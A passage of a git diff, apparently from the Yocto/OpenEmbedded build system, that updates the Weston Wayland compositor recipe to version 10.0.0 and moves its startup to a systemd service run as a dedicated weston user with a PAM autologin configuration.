-SYSTEMD_SERVICE_${PN} = "weston@%i.service"
-SYSTEMD_AUTO_ENABLE = "disable"
+SYSTEMD_SERVICE:${PN} = "weston.service weston.socket"
+USERADD_PARAM:${PN} = "--home /home/weston --shell /bin/sh --user-group -G video,input weston"
+GROUPADD_PARAM:${PN} = "-r wayland"
diff --git a/meta/recipes-graphics/wayland/weston-init/71-weston-drm.rules b/meta/recipes-graphics/wayland/weston-init/71-weston-drm.rules
deleted file mode 100644
index 1a1b8bbda4..0000000000
--- a/meta/recipes-graphics/wayland/weston-init/71-weston-drm.rules
+++ /dev/null
@@ -1,2 +0,0 @@
-ACTION=="add", SUBSYSTEM=="graphics", KERNEL=="fb0", TAG+="systemd", ENV{SYSTEMD_WANTS}+="weston@root.service"
-ACTION=="add", SUBSYSTEM=="drm", KERNEL=="card0", TAG+="systemd", ENV{SYSTEMD_WANTS}+="weston@root.service"
diff --git a/meta/recipes-graphics/wayland/weston-init/init b/meta/recipes-graphics/wayland/weston-init/init
index d3e87c6cef..d3b0d1873e 100644
--- a/meta/recipes-graphics/wayland/weston-init/init
+++ b/meta/recipes-graphics/wayland/weston-init/init
@@ -30,8 +30,9 @@ done
case "$1" in
start)
. /etc/profile
+ export HOME=ROOTHOME
- weston-start -- $OPTARGS
+ WESTON_USER=weston weston-start $OPTARGS &
;;
stop)
diff --git a/meta/recipes-graphics/wayland/weston-init/qemux86-64/weston.ini b/meta/recipes-graphics/wayland/weston-init/qemux86-64/weston.ini
deleted file mode 100644
index 17ebd7fdab..0000000000
--- a/meta/recipes-graphics/wayland/weston-init/qemux86-64/weston.ini
+++ /dev/null
@@ -1,2 +0,0 @@
-[core]
-backend=fbdev-backend.so
diff --git a/meta/recipes-graphics/wayland/weston-init/qemux86/weston.ini b/meta/recipes-graphics/wayland/weston-init/qemux86/weston.ini
deleted file mode 100644
index 17ebd7fdab..0000000000
--- a/meta/recipes-graphics/wayland/weston-init/qemux86/weston.ini
+++ /dev/null
@@ -1,2 +0,0 @@
-[core]
-backend=fbdev-backend.so
diff --git a/meta/recipes-graphics/wayland/weston-init/weston-autologin b/meta/recipes-graphics/wayland/weston-init/weston-autologin
new file mode 100644
index 0000000000..f6e6d106de
--- /dev/null
+++ b/meta/recipes-graphics/wayland/weston-init/weston-autologin
@@ -0,0 +1,11 @@
+auth required pam_nologin.so
+auth required pam_unix.so try_first_pass nullok
+
+account required pam_nologin.so
+account required pam_unix.so
+
+session required pam_env.so
+session required pam_unix.so
+-session optional pam_systemd.so type=wayland class=user desktop=weston
+-session optional pam_loginuid.so
+
diff --git a/meta/recipes-graphics/wayland/weston-init/weston-start b/meta/recipes-graphics/wayland/weston-init/weston-start
index ccc7093425..01670cd4f5 100755
--- a/meta/recipes-graphics/wayland/weston-init/weston-start
+++ b/meta/recipes-graphics/wayland/weston-init/weston-start
@@ -6,7 +6,7 @@ export PATH="/sbin:/usr/sbin:/bin:/usr/bin"
usage() {
cat <<EOF
- $0 [<openvt arguments>] [-- <weston options>]
+ $0 [<weston options>]
EOF
}
@@ -18,9 +18,12 @@ add_weston_argument() {
weston_args="$weston_args $1"
}
-# Add openvt extra argument
-add_openvt_argument() {
- openvt_args="$openvt_args $1"
+## Add module to --modules argument
+add_weston_module() {
+ if [[ "x${weston_modules}" == "x" ]]; then
+ weston_modules="--modules "
+ fi;
+ weston_modules+="${1},"
}
if [ -n "$WAYLAND_DISPLAY" ]; then
@@ -29,29 +32,12 @@ if [ -n "$WAYLAND_DISPLAY" ]; then
fi
if [ -n "$WESTON_USER" ]; then
- if [ -z "$WESTON_TTY" ]; then
- echo "ERROR: If you have WESTON_USER variable set, you also need WESTON_TTY."
- exit 1
+ if [ -z "$WESTON_GROUP" ]; then
+ # no explicit WESTON_GROUP given, therefore use WESTON_USER
+ export WESTON_GROUP="${WESTON_USER}"
fi
- weston_args_user="-u $WESTON_USER -t $WESTON_TTY"
fi
-if [ -n "$DISPLAY" ]; then
- launcher="weston"
-else
- launcher="weston-launch $weston_args_user --"
-fi
-
-openvt_args="-s"
-while [ -n "$1" ]; do
- if [ "$1" = "--" ]; then
- shift
- break
- fi
- openvt_args="$openvt_args $1"
- shift
-done
-
weston_args=$*
# Load and run modules
@@ -64,6 +50,9 @@ if [ -d "$modules_dir" ]; then
# process module
. $m
+ if [[ x"{$weston_modules}" != "x" ]]; then
+ add_weston_argument "${weston_modules}"
+ fi;
done
fi
@@ -75,8 +64,8 @@ if test -z "$XDG_RUNTIME_DIR"; then
fi
if [ -n "$WESTON_USER" ]
then
- chown $WESTON_USER:$WESTON_USER $XDG_RUNTIME_DIR
+ chown $WESTON_USER:$WESTON_GROUP $XDG_RUNTIME_DIR
fi
fi
-exec openvt $openvt_args -- $launcher $weston_args --log=@LOCALSTATEDIR@/log/weston.log
+su -c "XDG_RUNTIME_DIR=/run/user/`id -u ${WESTON_USER}` weston $weston_args --log=/tmp/weston.log" $WESTON_USER
diff --git a/meta/recipes-graphics/wayland/weston-init/weston.env b/meta/recipes-graphics/wayland/weston-init/weston.env
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/meta/recipes-graphics/wayland/weston-init/weston.env
diff --git a/meta/recipes-graphics/wayland/weston-init/weston.ini b/meta/recipes-graphics/wayland/weston-init/weston.ini
index 1eecf48bc1..6bd5aef55a 100644
--- a/meta/recipes-graphics/wayland/weston-init/weston.ini
+++ b/meta/recipes-graphics/wayland/weston-init/weston.ini
@@ -1,9 +1,10 @@
# configuration file for Weston
-#[core]
+[core]
#modules=xwayland.so,cms-colord.so
#shell=desktop-shell.so
#gbm-format=xrgb2101010
+require-input=false
#[shell]
#background-image=/usr/share/backgrounds/gnome/Aqua.jpg
@@ -41,7 +42,7 @@
#path=/build/weston-0lEgCh/weston-1.11.0/weston-flower
#[input-method]
-#path=/usr/lib/weston/weston-keyboard
+#path=/usr/libexec/weston-keyboard
#[output]
#name=LVDS1
@@ -67,8 +68,8 @@
#min_accel_factor = 0.16
#max_accel_factor = 1.0
-#[screen-share]
-#command=/usr/bin/weston --backend=rdp-backend.so --shell=fullscreen-shell.so --no-clients-resize
+[screen-share]
+command=/usr/bin/weston --backend=rdp-backend.so --shell=fullscreen-shell.so --no-clients-resize
#[xwayland]
#path=/usr/bin/Xwayland
diff --git a/meta/recipes-graphics/wayland/weston-init/weston.service b/meta/recipes-graphics/wayland/weston-init/weston.service
new file mode 100644
index 0000000000..80745998ed
--- /dev/null
+++ b/meta/recipes-graphics/wayland/weston-init/weston.service
@@ -0,0 +1,71 @@
+# This is a system unit for launching Weston with auto-login as the
+# user configured here.
+#
+# Weston must be built with systemd support, and your weston.ini must load
+# the plugin systemd-notify.so.
+[Unit]
+Description=Weston, a Wayland compositor, as a system service
+Documentation=man:weston(1) man:weston.ini(5)
+Documentation=http://wayland.freedesktop.org/
+
+# Make sure we are started after logins are permitted.
+Requires=systemd-user-sessions.service
+After=systemd-user-sessions.service
+
+# If Plymouth is used, we want to start when it is on its way out.
+After=plymouth-quit-wait.service
+
+# D-Bus is necessary for contacting logind. Logind is required.
+Wants=dbus.socket
+After=dbus.socket
+
+# Ensure the socket is present
+Requires=weston.socket
+
+# Since we are part of the graphical session, make sure we are started before
+# it is complete.
+Before=graphical.target
+
+# Prevent starting on systems without virtual consoles, Weston requires one
+# for now.
+ConditionPathExists=/dev/tty0
+
+[Service]
+# Requires systemd-notify.so Weston plugin.
+Type=notify
+EnvironmentFile=/etc/default/weston
+ExecStart=/usr/bin/weston --modules=systemd-notify.so
+
+# Optional watchdog setup
+#TimeoutStartSec=60
+#WatchdogSec=20
+
+# The user to run Weston as.
+User=weston
+Group=weston
+
+# Make sure the working directory is the users home directory
+WorkingDirectory=/home/weston
+
+# Set up a full user session for the user, required by Weston.
+PAMName=weston-autologin
+
+# A virtual terminal is needed.
+TTYPath=/dev/tty7
+TTYReset=yes
+TTYVHangup=yes
+TTYVTDisallocate=yes
+
+# Fail to start if not controlling the tty.
+StandardInput=tty-fail
+StandardOutput=journal
+StandardError=journal
+
+# Log this user with utmp, letting it show up with commands 'w' and 'who'.
+UtmpIdentifier=tty7
+UtmpMode=user
+
+[Install]
+# Note: If you only want weston to start on-demand, remove this line with a
+# service drop file
+WantedBy=graphical.target
diff --git a/meta/recipes-graphics/wayland/weston-init/weston.socket b/meta/recipes-graphics/wayland/weston-init/weston.socket
new file mode 100644
index 0000000000..c1bdc83c05
--- /dev/null
+++ b/meta/recipes-graphics/wayland/weston-init/weston.socket
@@ -0,0 +1,14 @@
+[Unit]
+Description=Weston socket
+RequiresMountsFor=/run
+
+[Socket]
+ListenStream=/run/wayland-0
+SocketMode=0775
+SocketUser=weston
+SocketGroup=wayland
+RemoveOnStop=yes
+
+[Install]
+WantedBy=sockets.target
+
diff --git a/meta/recipes-graphics/wayland/weston-init/weston@.service b/meta/recipes-graphics/wayland/weston-init/weston@.service
deleted file mode 100644
index 9ecf2ab069..0000000000
--- a/meta/recipes-graphics/wayland/weston-init/weston@.service
+++ /dev/null
@@ -1,37 +0,0 @@
-[Unit]
-Description=Weston Wayland Compositor (on tty7)
-RequiresMountsFor=/run
-Conflicts=getty@tty7.service plymouth-quit.service
-After=systemd-user-sessions.service getty@tty7.service plymouth-quit-wait.service
-
-[Service]
-User=%i
-PermissionsStartOnly=true
-
-# Log us in via PAM so we get our XDG & co. environment and
-# are treated as logged in so we can use the tty:
-PAMName=login
-
-# Grab tty7
-UtmpIdentifier=tty7
-TTYPath=/dev/tty7
-TTYReset=yes
-TTYVHangup=yes
-TTYVTDisallocate=yes
-
-# stderr to journal so our logging doesn't get thrown into /dev/null
-StandardOutput=tty
-StandardInput=tty
-StandardError=journal
-
-EnvironmentFile=-/etc/default/weston
-
-# Weston does not successfully change VT, nor does systemd place us on
-# the VT it just activated for us. Switch manually:
-ExecStartPre=/usr/bin/chvt 7
-ExecStart=/usr/bin/weston --log=${XDG_RUNTIME_DIR}/weston.log $OPTARGS
-
-IgnoreSIGPIPE=no
-
-#[Install]
-#Alias=multi-user.target.wants/weston.service
diff --git a/meta/recipes-graphics/wayland/weston/0001-weston-launch-Provide-a-default-version-that-doesn-t.patch b/meta/recipes-graphics/wayland/weston/0001-weston-launch-Provide-a-default-version-that-doesn-t.patch
deleted file mode 100644
index e50845b17a..0000000000
--- a/meta/recipes-graphics/wayland/weston/0001-weston-launch-Provide-a-default-version-that-doesn-t.patch
+++ /dev/null
@@ -1,200 +0,0 @@
-From 682b7d79a7b81ec8e38760381104b24ad549e8c0 Mon Sep 17 00:00:00 2001
-From: Tom Hochstein <tom.hochstein@nxp.com>
-Date: Wed, 22 Feb 2017 15:53:30 +0200
-Subject: [PATCH] weston-launch: Provide a default version that doesn't require
- PAM
-
-weston-launch requires PAM for starting weston as a non-root user.
-
-Since starting weston as root is a valid use case by itself, if
-PAM is not available, provide a default version of weston-launch
-without non-root-user support.
-
-Upstream-Status: Pending
-
-Signed-off-by: Tom Hochstein <tom.hochstein@nxp.com>
-Signed-off-by: Jussi Kukkonen <jussi.kukkonen@intel.com>
-Signed-off-by: Denys Dmytriyenko <denys@ti.com>
-Signed-off-by: Ming Liu <ming.liu@toradex.com>
----
- libweston/meson.build | 16 ++++++++++++----
- libweston/weston-launch.c | 21 +++++++++++++++++++++
- meson_options.txt | 7 +++++++
- 3 files changed, 40 insertions(+), 4 deletions(-)
-
-diff --git a/libweston/meson.build b/libweston/meson.build
-index d8d3fc0..326683f 100644
---- a/libweston/meson.build
-+++ b/libweston/meson.build
-@@ -199,16 +199,24 @@ dep_vertex_clipping = declare_dependency(
- )
-
- if get_option('weston-launch')
-- dep_pam = cc.find_library('pam')
-+ deps_weston_launch = [systemd_dep, dep_libdrm]
-
-- if not cc.has_function('pam_open_session', dependencies: dep_pam)
-- error('pam_open_session not found for weston-launch')
-+ if get_option('pam')
-+ dep_pam = cc.find_library('pam')
-+ if not cc.has_function('pam_open_session', dependencies: dep_pam)
-+ error('pam_open_session not found for weston-launch')
-+ endif
-+
-+ if dep_pam.found()
-+ deps_weston_launch += dep_pam
-+ config_h.set('HAVE_PAM', '1')
-+ endif
- endif
-
- executable(
- 'weston-launch',
- 'weston-launch.c',
-- dependencies: [dep_pam, systemd_dep, dep_libdrm],
-+ dependencies: deps_weston_launch,
- include_directories: include_directories('..'),
- install: true
- )
-diff --git a/libweston/weston-launch.c b/libweston/weston-launch.c
-index 4962bd6..fc531c5 100644
---- a/libweston/weston-launch.c
-+++ b/libweston/weston-launch.c
-@@ -51,7 +51,9 @@
-
- #include <pwd.h>
- #include <grp.h>
-+#ifdef HAVE_PAM
- #include <security/pam_appl.h>
-+#endif
-
- #ifdef HAVE_SYSTEMD_LOGIN
- #include <systemd/sd-login.h>
-@@ -100,8 +102,10 @@ drmSetMaster(int drm_fd)
- #endif
-
- struct weston_launch {
-+#ifdef HAVE_PAM
- struct pam_conv pc;
- pam_handle_t *ph;
-+#endif
- int tty;
- int ttynr;
- int sock[2];
-@@ -192,6 +196,7 @@ weston_launch_allowed(struct weston_launch *wl)
- return false;
- }
-
-+#ifdef HAVE_PAM
- static int
- pam_conversation_fn(int msg_count,
- const struct pam_message **messages,
-@@ -232,6 +237,7 @@ setup_pam(struct weston_launch *wl)
-
- return 0;
- }
-+#endif
-
- static int
- setup_launcher_socket(struct weston_launch *wl)
-@@ -431,6 +437,7 @@ quit(struct weston_launch *wl, int status)
- close(wl->signalfd);
- close(wl->sock[0]);
-
-+#ifdef HAVE_PAM
- if (wl->new_user) {
- err = pam_close_session(wl->ph, 0);
- if (err)
-@@ -438,6 +445,7 @@ quit(struct weston_launch *wl, int status)
- err, pam_strerror(wl->ph, err));
- pam_end(wl->ph, err);
- }
-+#endif
-
- if (ioctl(wl->tty, KDSKBMUTE, 0) &&
- ioctl(wl->tty, KDSKBMODE, wl->kb_mode))
-@@ -660,6 +668,7 @@ setup_session(struct weston_launch *wl, char **child_argv)
- setenv("HOME", wl->pw->pw_dir, 1);
- setenv("SHELL", wl->pw->pw_shell, 1);
-
-+#ifdef HAVE_PAM
- env = pam_getenvlist(wl->ph);
- if (env) {
- for (i = 0; env[i]; ++i) {
-@@ -668,6 +677,7 @@ setup_session(struct weston_launch *wl, char **child_argv)
- }
- free(env);
- }
-+#endif
-
- /*
- * We open a new session, so it makes sense
-@@ -739,8 +749,10 @@ static void
- help(const char *name)
- {
- fprintf(stderr, "Usage: %s [args...] [-- [weston args..]]\n", name);
-+#ifdef HAVE_PAM
- fprintf(stderr, " -u, --user Start session as specified username,\n"
- " e.g. -u joe, requires root.\n");
-+#endif
- fprintf(stderr, " -t, --tty Start session on alternative tty,\n"
- " e.g. -t /dev/tty4, requires -u option.\n");
- fprintf(stderr, " -v, --verbose Be verbose\n");
-@@ -754,7 +766,9 @@ main(int argc, char *argv[])
- int i, c;
- char *tty = NULL;
- struct option opts[] = {
-+#ifdef HAVE_PAM
- { "user", required_argument, NULL, 'u' },
-+#endif
- { "tty", required_argument, NULL, 't' },
- { "verbose", no_argument, NULL, 'v' },
- { "help", no_argument, NULL, 'h' },
-@@ -766,11 +780,16 @@ main(int argc, char *argv[])
- while ((c = getopt_long(argc, argv, "u:t:vh", opts, &i)) != -1) {
- switch (c) {
- case 'u':
-+#ifdef HAVE_PAM
- wl.new_user = optarg;
- if (getuid() != 0) {
- fprintf(stderr, "weston: Permission denied. -u allowed for root only\n");
- exit(EXIT_FAILURE);
- }
-+#else
-+ fprintf(stderr, "weston: -u is unsupported in this weston-launch build\n");
-+ exit(EXIT_FAILURE);
-+#endif
- break;
- case 't':
- tty = optarg;
-@@ -822,8 +841,10 @@ main(int argc, char *argv[])
- if (setup_tty(&wl, tty) < 0)
- exit(EXIT_FAILURE);
-
-+#ifdef HAVE_PAM
- if (wl.new_user && setup_pam(&wl) < 0)
- exit(EXIT_FAILURE);
-+#endif
-
- if (setup_launcher_socket(&wl) < 0)
- exit(EXIT_FAILURE);
-diff --git a/meson_options.txt b/meson_options.txt
-index d5bf1d5..254eb2b 100644
---- a/meson_options.txt
-+++ b/meson_options.txt
-@@ -73,6 +73,13 @@ option(
- )
-
- option(
-+ 'pam',
-+ type: 'boolean',
-+ value: true,
-+ description: 'Define if PAM is available'
-+)
-+
-+option(
- 'xwayland',
- type: 'boolean',
- value: true,
---
-2.7.4
-
diff --git a/meta/recipes-graphics/wayland/weston/dont-use-plane-add-prop.patch b/meta/recipes-graphics/wayland/weston/dont-use-plane-add-prop.patch
new file mode 100644
index 0000000000..1ac0695222
--- /dev/null
+++ b/meta/recipes-graphics/wayland/weston/dont-use-plane-add-prop.patch
@@ -0,0 +1,32 @@
+From ece4c3d261aeec230869c0304ed1011ff6837c16 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Sat, 12 Sep 2020 14:04:04 -0700
+Subject: [PATCH] Fix atomic modesetting with musl
+
+atomic modesetting seems to fail with drm weston backend and this patch fixes
+it, below errors are seen before weston exits
+
+atomic: couldn't commit new state: Invalid argument
+
+Upstream-Status: Submitted [https://gitlab.freedesktop.org/wayland/weston/-/issues/158]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+
+---
+ libweston/backend-drm/kms.c | 4 ++--
+ 1 file changed, 2 insertions(+), 2 deletions(-)
+
+diff --git a/libweston/backend-drm/kms.c b/libweston/backend-drm/kms.c
+index 780d007..9994da1 100644
+--- a/libweston/backend-drm/kms.c
++++ b/libweston/backend-drm/kms.c
+@@ -1142,8 +1142,8 @@ drm_pending_state_apply_atomic(struct drm_pending_state *pending_state,
+ wl_list_for_each(plane, &b->plane_list, link) {
+ drm_debug(b, "\t\t[atomic] starting with plane %lu disabled\n",
+ (unsigned long) plane->plane_id);
+- plane_add_prop(req, plane, WDRM_PLANE_CRTC_ID, 0);
+- plane_add_prop(req, plane, WDRM_PLANE_FB_ID, 0);
++ //plane_add_prop(req, plane, WDRM_PLANE_CRTC_ID, 0);
++ //plane_add_prop(req, plane, WDRM_PLANE_FB_ID, 0);
+ }
+
+ flags |= DRM_MODE_ATOMIC_ALLOW_MODESET;
diff --git a/meta/recipes-graphics/wayland/weston/systemd-notify.weston-start b/meta/recipes-graphics/wayland/weston/systemd-notify.weston-start
new file mode 100644
index 0000000000..a97e7b38d9
--- /dev/null
+++ b/meta/recipes-graphics/wayland/weston/systemd-notify.weston-start
@@ -0,0 +1,9 @@
+#!/bin/sh
+
+# SPDX-FileCopyrightText: Huawei Inc.
+# SPDX-License-Identifier: Apache-2.0
+
+
+if [[ -x "/usr/lib/weston/systemd-notify.so" ]]; then
+ add_weston_module "systemd-notify.so"
+fi
diff --git a/meta/recipes-graphics/wayland/weston/xwayland.weston-start b/meta/recipes-graphics/wayland/weston/xwayland.weston-start
index b483c97cf1..db384b1a53 100644
--- a/meta/recipes-graphics/wayland/weston/xwayland.weston-start
+++ b/meta/recipes-graphics/wayland/weston/xwayland.weston-start
@@ -2,6 +2,4 @@
if type Xwayland >/dev/null 2>/dev/null; then
mkdir -p /tmp/.X11-unix
-
- add_weston_argument "--modules=xwayland.so"
fi
diff --git a/meta/recipes-graphics/wayland/weston_10.0.0.bb b/meta/recipes-graphics/wayland/weston_10.0.0.bb
new file mode 100644
index 0000000000..bebe95f69d
--- /dev/null
+++ b/meta/recipes-graphics/wayland/weston_10.0.0.bb
@@ -0,0 +1,140 @@
+SUMMARY = "Weston, a Wayland compositor"
+DESCRIPTION = "Weston is the reference implementation of a Wayland compositor"
+HOMEPAGE = "http://wayland.freedesktop.org"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=d79ee9e66bb0f95d3386a7acae780b70 \
+ file://libweston/compositor.c;endline=27;md5=eb6d5297798cabe2ddc65e2af519bcf0 \
+ "
+
+SRC_URI = "https://wayland.freedesktop.org/releases/${BPN}-${PV}.tar.xz \
+ file://weston.png \
+ file://weston.desktop \
+ file://xwayland.weston-start \
+ file://systemd-notify.weston-start \
+ "
+
+SRC_URI:append:libc-musl = " file://dont-use-plane-add-prop.patch "
+
+SRC_URI[sha256sum] = "5c23964112b90238bed39e5dd1e41cd71a79398813cdc3bbb15a9fdc94e547ae"
+
+UPSTREAM_CHECK_URI = "https://wayland.freedesktop.org/releases.html"
+
+inherit meson pkgconfig useradd features_check
+# depends on virtual/egl
+# weston-init requires pam enabled if started via systemd
+REQUIRED_DISTRO_FEATURES = "wayland opengl ${@oe.utils.conditional('VIRTUAL-RUNTIME_init_manager', 'systemd', 'pam', '', d)}"
+
+DEPENDS = "libxkbcommon gdk-pixbuf pixman cairo glib-2.0"
+DEPENDS += "wayland wayland-protocols libinput virtual/egl pango wayland-native"
+
+LDFLAGS += "${@bb.utils.contains('DISTRO_FEATURES', 'lto', '-Wl,-z,undefs', '', d)}"
+
+WESTON_MAJOR_VERSION = "${@'.'.join(d.getVar('PV').split('.')[0:1])}"
+
+EXTRA_OEMESON += "-Dpipewire=false"
+
+PACKAGECONFIG ??= "${@bb.utils.contains('DISTRO_FEATURES', 'wayland', 'kms wayland egl clients', '', d)} \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'x11 wayland', 'xwayland', '', d)} \
+ ${@bb.utils.filter('DISTRO_FEATURES', 'systemd x11', d)} \
+ ${@bb.utils.contains_any('DISTRO_FEATURES', 'wayland x11', '', 'headless', d)} \
+ ${@oe.utils.conditional('VIRTUAL-RUNTIME_init_manager', 'sysvinit', 'launcher-libseat', '', d)} \
+ image-jpeg \
+ screenshare \
+ shell-desktop \
+ shell-fullscreen \
+ shell-ivi"
+
+#
+# Compositor choices
+#
+# Weston on KMS
+PACKAGECONFIG[kms] = "-Dbackend-drm=true,-Dbackend-drm=false,drm udev virtual/egl virtual/libgles2 virtual/libgbm mtdev"
+# Weston on Wayland (nested Weston)
+PACKAGECONFIG[wayland] = "-Dbackend-wayland=true,-Dbackend-wayland=false,virtual/egl virtual/libgles2"
+# Weston on X11
+PACKAGECONFIG[x11] = "-Dbackend-x11=true,-Dbackend-x11=false,virtual/libx11 libxcb libxcb libxcursor cairo"
+# Headless Weston
+PACKAGECONFIG[headless] = "-Dbackend-headless=true,-Dbackend-headless=false"
+# Weston on framebuffer
+PACKAGECONFIG[fbdev] = "-Ddeprecated-backend-fbdev=true,-Ddeprecated-backend-fbdev=false,udev mtdev"
+# Weston on RDP
+PACKAGECONFIG[rdp] = "-Dbackend-rdp=true,-Dbackend-rdp=false,freerdp"
+# weston-launch
+PACKAGECONFIG[launch] = "-Ddeprecated-weston-launch=true,-Ddeprecated-weston-launch=false,drm"
+# VA-API desktop recorder
+PACKAGECONFIG[vaapi] = "-Dbackend-drm-screencast-vaapi=true,-Dbackend-drm-screencast-vaapi=false,libva"
+# Weston with EGL support
+PACKAGECONFIG[egl] = "-Drenderer-gl=true,-Drenderer-gl=false,virtual/egl"
+# Weston with lcms support
+PACKAGECONFIG[lcms] = "-Dcolor-management-lcms=true,-Dcolor-management-lcms=false,lcms"
+# Weston with webp support
+PACKAGECONFIG[webp] = "-Dimage-webp=true,-Dimage-webp=false,libwebp"
+# Weston with systemd-login support
+PACKAGECONFIG[systemd] = "-Dsystemd=true -Dlauncher-logind=true,-Dsystemd=false -Dlauncher-logind=false,systemd dbus"
+# Weston with Xwayland support (requires X11 and Wayland)
+PACKAGECONFIG[xwayland] = "-Dxwayland=true,-Dxwayland=false"
+# colord CMS support
+PACKAGECONFIG[colord] = "-Dcolor-management-colord=true,-Dcolor-management-colord=false,colord"
+# Clients support
+PACKAGECONFIG[clients] = "-Dsimple-clients=all -Ddemo-clients=true,-Dsimple-clients= -Ddemo-clients=false"
+# Virtual remote output with GStreamer on DRM backend
+PACKAGECONFIG[remoting] = "-Dremoting=true,-Dremoting=false,gstreamer1.0 gstreamer1.0-plugins-base"
+# Weston with screen-share support
+PACKAGECONFIG[screenshare] = "-Dscreenshare=true,-Dscreenshare=false"
+# Traditional desktop shell
+PACKAGECONFIG[shell-desktop] = "-Dshell-desktop=true,-Dshell-desktop=false"
+# Fullscreen shell
+PACKAGECONFIG[shell-fullscreen] = "-Dshell-fullscreen=true,-Dshell-fullscreen=false"
+# In-Vehicle Infotainment (IVI) shell
+PACKAGECONFIG[shell-ivi] = "-Dshell-ivi=true,-Dshell-ivi=false"
+# JPEG image loading support
+PACKAGECONFIG[image-jpeg] = "-Dimage-jpeg=true,-Dimage-jpeg=false, jpeg"
+# support libseat based launch
+PACKAGECONFIG[launcher-libseat] = "-Dlauncher-libseat=true,-Dlauncher-libseat=false,seatd"
+
+do_install:append() {
+ # Weston doesn't need the .la files to load modules, so wipe them
+ rm -f ${D}/${libdir}/libweston-${WESTON_MAJOR_VERSION}/*.la
+
+ # If X11, ship a desktop file to launch it
+ if [ "${@bb.utils.filter('DISTRO_FEATURES', 'x11', d)}" ]; then
+ install -d ${D}${datadir}/applications
+ install ${WORKDIR}/weston.desktop ${D}${datadir}/applications
+
+ install -d ${D}${datadir}/icons/hicolor/48x48/apps
+ install ${WORKDIR}/weston.png ${D}${datadir}/icons/hicolor/48x48/apps
+ fi
+
+ if [ "${@bb.utils.contains('PACKAGECONFIG', 'xwayland', 'yes', 'no', d)}" = "yes" ]; then
+ install -Dm 644 ${WORKDIR}/xwayland.weston-start ${D}${datadir}/weston-start/xwayland
+ fi
+
+ if [ "${@bb.utils.contains('PACKAGECONFIG', 'systemd', 'yes', 'no', d)}" = "yes" ]; then
+ install -Dm 644 ${WORKDIR}/systemd-notify.weston-start ${D}${datadir}/weston-start/systemd-notify
+ fi
+
+ if [ "${@bb.utils.contains('PACKAGECONFIG', 'launch', 'yes', 'no', d)}" = "yes" ]; then
+ chmod u+s ${D}${bindir}/weston-launch
+ fi
+}
+
+PACKAGES += "${@bb.utils.contains('PACKAGECONFIG', 'xwayland', '${PN}-xwayland', '', d)} \
+ libweston-${WESTON_MAJOR_VERSION} ${PN}-examples"
+
+FILES:${PN}-dev += "${libdir}/${BPN}/libexec_weston.so"
+FILES:${PN} = "${bindir}/weston ${bindir}/weston-terminal ${bindir}/weston-info ${bindir}/weston-launch ${bindir}/wcap-decode ${libexecdir} ${libdir}/${BPN}/*.so* ${datadir}"
+
+FILES:libweston-${WESTON_MAJOR_VERSION} = "${libdir}/lib*${SOLIBS} ${libdir}/libweston-${WESTON_MAJOR_VERSION}/*.so"
+SUMMARY:libweston-${WESTON_MAJOR_VERSION} = "Helper library for implementing 'wayland window managers'."
+
+FILES:${PN}-examples = "${bindir}/*"
+
+FILES:${PN}-xwayland = "${libdir}/libweston-${WESTON_MAJOR_VERSION}/xwayland.so"
+RDEPENDS:${PN}-xwayland += "xwayland"
+
+RDEPENDS:${PN} += "xkeyboard-config"
+RRECOMMENDS:${PN} = "weston-init liberation-fonts"
+RRECOMMENDS:${PN}-dev += "wayland-protocols"
+
+USERADD_PACKAGES = "${PN}"
+GROUPADD_PARAM:${PN} = "--system weston-launch"
diff --git a/meta/recipes-graphics/wayland/weston_7.0.0.bb b/meta/recipes-graphics/wayland/weston_7.0.0.bb
deleted file mode 100644
index d21275414e..0000000000
--- a/meta/recipes-graphics/wayland/weston_7.0.0.bb
+++ /dev/null
@@ -1,111 +0,0 @@
-SUMMARY = "Weston, a Wayland compositor"
-DESCRIPTION = "Weston is the reference implementation of a Wayland compositor"
-HOMEPAGE = "http://wayland.freedesktop.org"
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://COPYING;md5=d79ee9e66bb0f95d3386a7acae780b70 \
- file://libweston/compositor.c;endline=27;md5=6c53bbbd99273f4f7c4affa855c33c0a"
-
-SRC_URI = "https://wayland.freedesktop.org/releases/${BPN}-${PV}.tar.xz \
- file://weston.png \
- file://weston.desktop \
- file://xwayland.weston-start \
- file://0001-weston-launch-Provide-a-default-version-that-doesn-t.patch \
-"
-SRC_URI[md5sum] = "cbfda483bc2501d0831af3f33c707850"
-SRC_URI[sha256sum] = "a00a6d207b6a45f95f4401c604772a307c3767e5e2beecf3d879110c43909a64"
-
-UPSTREAM_CHECK_URI = "https://wayland.freedesktop.org/releases.html"
-
-inherit meson pkgconfig useradd distro_features_check
-# depends on virtual/egl
-REQUIRED_DISTRO_FEATURES = "opengl"
-
-DEPENDS = "libxkbcommon gdk-pixbuf pixman cairo glib-2.0 jpeg"
-DEPENDS += "wayland wayland-protocols libinput virtual/egl pango wayland-native"
-
-WESTON_MAJOR_VERSION = "${@'.'.join(d.getVar('PV').split('.')[0:1])}"
-
-EXTRA_OEMESON += "-Dbackend-default=auto -Dbackend-rdp=false -Dpipewire=false"
-
-PACKAGECONFIG ??= "${@bb.utils.contains('DISTRO_FEATURES', 'wayland', 'kms fbdev wayland egl', '', d)} \
- ${@bb.utils.contains('DISTRO_FEATURES', 'x11 wayland', 'xwayland', '', d)} \
- ${@bb.utils.filter('DISTRO_FEATURES', 'pam systemd x11', d)} \
- ${@bb.utils.contains_any('DISTRO_FEATURES', 'wayland x11', '', 'headless', d)} \
- clients launch"
-#
-# Compositor choices
-#
-# Weston on KMS
-PACKAGECONFIG[kms] = "-Dbackend-drm=true,-Dbackend-drm=false,drm udev virtual/egl virtual/libgles2 virtual/libgbm mtdev"
-# Weston on Wayland (nested Weston)
-PACKAGECONFIG[wayland] = "-Dbackend-wayland=true,-Dbackend-wayland=false,virtual/egl virtual/libgles2"
-# Weston on X11
-PACKAGECONFIG[x11] = "-Dbackend-x11=true,-Dbackend-x11=false,virtual/libx11 libxcb libxcb libxcursor cairo"
-# Headless Weston
-PACKAGECONFIG[headless] = "-Dbackend-headless=true,-Dbackend-headless=false"
-# Weston on framebuffer
-PACKAGECONFIG[fbdev] = "-Dbackend-fbdev=true,-Dbackend-fbdev=false,udev mtdev"
-# weston-launch
-PACKAGECONFIG[launch] = "-Dweston-launch=true,-Dweston-launch=false,drm"
